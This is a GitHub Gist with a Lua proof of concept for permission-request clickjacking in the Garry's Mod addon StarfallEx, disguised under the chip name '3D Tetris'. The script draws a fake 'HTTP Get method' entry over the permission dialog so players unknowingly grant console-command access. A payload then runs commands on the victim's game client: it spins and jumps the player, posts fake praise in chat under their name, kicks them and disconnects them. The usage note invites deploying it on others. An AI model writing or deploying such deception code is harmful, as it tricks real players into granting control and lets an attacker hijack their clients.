Last active
April 9, 2021 22:25
-
-
Save x4fx77x4f/3bcfa9cf74b030ccbeeaf6946920515f to your computer and use it in GitHub Desktop.
Proof of concept for permission request clickjacking in StarfallEx
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--@name 3D Tetris | |
--@author Sparky | |
--@client | |
-- Proof of concept for permission request clickjacking in StarfallEx. | |
-- Usage: Give the chip an interesting name, put a HUD next to it, | |
-- hook the HUD up to it, convince people to activate the HUD, laugh. | |
-- redressing | |
-- https://github.com/thegrb93/StarfallEx/blob/master/lua/starfall/editor/sfderma.lua | |
local SF_PermissionName = render.createFont('Roboto', 20) | |
local SF_PermissionDesc = render.createFont('Roboto', 18) | |
render.createRenderTarget('cache') | |
local u, v = 604/1024, 49/1024 | |
hook.add('renderoffscreen', 'init', function() | |
render.selectRenderTarget('cache') | |
--render.setRGBA(31, 36, 50, 255) | |
render.setRGBA(36, 41, 55, 255) -- what the fuck??? | |
render.drawRect(0, 0, 604, 49) | |
render.setRGBA(255, 255, 255, 255) | |
render.setFont(SF_PermissionName) | |
render.drawSimpleText(5, 4, "HTTP Get method") | |
render.setRGBA(173, 213, 247, 255) | |
render.setFont(SF_PermissionDesc) | |
render.drawSimpleText(10, 27, "Allows the user to request html data") | |
hook.remove('renderoffscreen', 'init') | |
end) | |
local triggertime | |
hook.add('postdrawhud', 'redressing', function() | |
if not triggertime then | |
return | |
end | |
local sw, sh = render.getResolution() | |
local w, h = 640 -- h is 302 on windows, 303 on linux | |
local now = timer.systime() | |
local stage = math.floor((now-triggertime)/(1/120)) | |
if stage == 0 then | |
return | |
elseif stage == 1 then | |
h = 295 | |
elseif stage == 2 then | |
h = 300 | |
elseif stage == 3 then | |
h = 302 | |
else | |
h = 303 | |
end | |
local x, y = math.ceil((sw-w)/2), math.ceil((sh-h)/2) -- 1 pixel diff shouldnt matter | |
render.setFilterMag(TEXFILTER.POINT) -- https://github.com/Facepunch/garrysmod-issues/issues/3988 | |
render.setRenderTargetTexture('cache') | |
render.drawTexturedRectUVFast(x+31, y+170, 604, 49, 0, 0, u, v, true) | |
end) | |
-- trigger | |
local curang | |
hook.add('hudconnected', 'trigger', function() | |
setupPermissionRequest({'console.command'}, "Needed to download content", false) | |
local success = pcall(sendPermissionRequest) | |
if not success then | |
return | |
end | |
triggertime = timer.systime() | |
curang = eyeAngles() | |
end) | |
hook.add('huddisconnected', 'conceal', function() | |
triggertime = nil | |
end) | |
hook.add('think', 'conceal', function() | |
if triggertime and timer.systime() >= triggertime+0.5 and eyeAngles() ~= curang then | |
triggertime = nil | |
end | |
end) | |
if render.isHUDActive() then | |
hook.run('hudconnected') | |
end | |
-- payload | |
local pwned = false | |
hook.add('permissionrequest', 'payload', function() | |
triggertime = nil | |
if not hasPermission('console.command') then | |
return | |
end | |
pwned = true | |
timer.simple(5, function() | |
pwned = false | |
concmd('-duck') | |
concmd('-jump') | |
concmd('cl_yawspeed 210') | |
concmd('-left') | |
concmd('-right') | |
print("You just fell into my trap! This payload wasn't destructive, but it could have been.") | |
local reason = "You just fell into my trap! Check console for details" | |
concmd('ulx kick ^ "'..reason..'"') | |
concmd('iam kick '..player():getSteamID()..' "'..reason..'"') -- for IJWTB (untested) | |
timer.simple(0, function() | |
concmd('disconnect') | |
end) | |
end) | |
timer.simple(0.125, function() | |
concmd('cl_yawspeed 1000') | |
concmd('+duck') | |
concmd('+jump') | |
end) | |
timer.create('babyrightround', 0.125, 40, function() | |
local rand = math.random(0, 2) | |
if rand == 0 then | |
concmd('+left') | |
concmd('-right') | |
--[[ | |
elseif rand == 1 then | |
concmd('-left') | |
concmd('-right') | |
--]] | |
else | |
concmd('-left') | |
concmd('+right') | |
end | |
end) | |
-- chat messages may appear to be from Console if | |
-- the player is kicked before their message goes through, | |
-- so we use a timer. | |
local attract = { | |
"ooh this is pretty cool", | |
"this is cool", | |
"damn ${NAME} how'd you do this?", | |
"that's pretty sick", | |
"impressive starfall, ${NAME}", | |
"holy shit this is awesome", | |
"did you make this ${NAME}?", | |
"is this e2??", | |
} | |
local name = string.lower(string.gsub(owner():getName(), '[^\x20-\x7e]', "")) | |
if player() ~= owner() then | |
timer.simple(0, function() | |
concmd('say "'..string.gsub(table.random(attract), '${NAME}', name)..'"') | |
end) | |
end | |
end) | |
local pwned1 = "Clickjacking POC" | |
local pwned1f = render.createFont('DejaVu Sans Mono', 60) | |
local pwned2 = "x4fx77x4f" | |
local pwned2f = render.createFont('DejaVu Sans Mono', 30) | |
hook.add('drawhud', 'payload', function() | |
if not pwned then | |
return | |
end | |
local sw, sh = render.getResolution() | |
local x, y = sw/2, sh/2 | |
render.setFont(pwned1f) | |
render.setRGBA(0, 0, 0, 255) | |
render.drawSimpleText(x+1, y+1, pwned1, 1, 1) | |
render.setColor(Color(timer.systime()*100, 0.7, 1):hsvToRGB()) | |
render.drawSimpleText(x, y, pwned1, 1, 1) | |
render.setFont(pwned2f) | |
render.setRGBA(0, 0, 0, 255) | |
render.drawSimpleText(x+1, y+60+1, pwned2, 1, 1) | |
render.setRGBA(255, 191, 255, 255) | |
render.drawSimpleText(x, y+60, pwned2, 1, 1) | |
end) | |
if hasPermission('console.command') then | |
print("You already have console.command enabled! Turn it off!") | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment